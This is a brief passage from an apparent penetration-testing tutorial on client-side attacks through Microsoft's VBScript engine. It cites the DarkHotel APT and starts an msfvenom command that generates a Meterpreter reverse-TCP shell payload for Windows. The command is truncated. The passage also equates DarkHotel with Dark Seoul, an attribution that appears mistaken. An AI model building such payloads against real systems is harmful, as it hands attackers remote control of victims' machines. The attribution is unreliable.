Visual Basic Scripting (VBScript) edition is an Active Scripting language developed by Microsoft. It was designed to be a lightweight, Windows-native language that could execute small programs. VBScript has been installed by default on every desktop release of Microsoft Windows since Windows 98, making it an excellent target for client-side attacks. In August 2018, a well-known advanced persistent threat (APT) named DarkHotel (Dark Seoul malware) utilized the VBScript engine in Microsoft Windows, which exploited the specific vulnerability in Internet Explorer 11.0.
To launch an attack using VBScript, we'll use msfvenom from the command line:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp ...
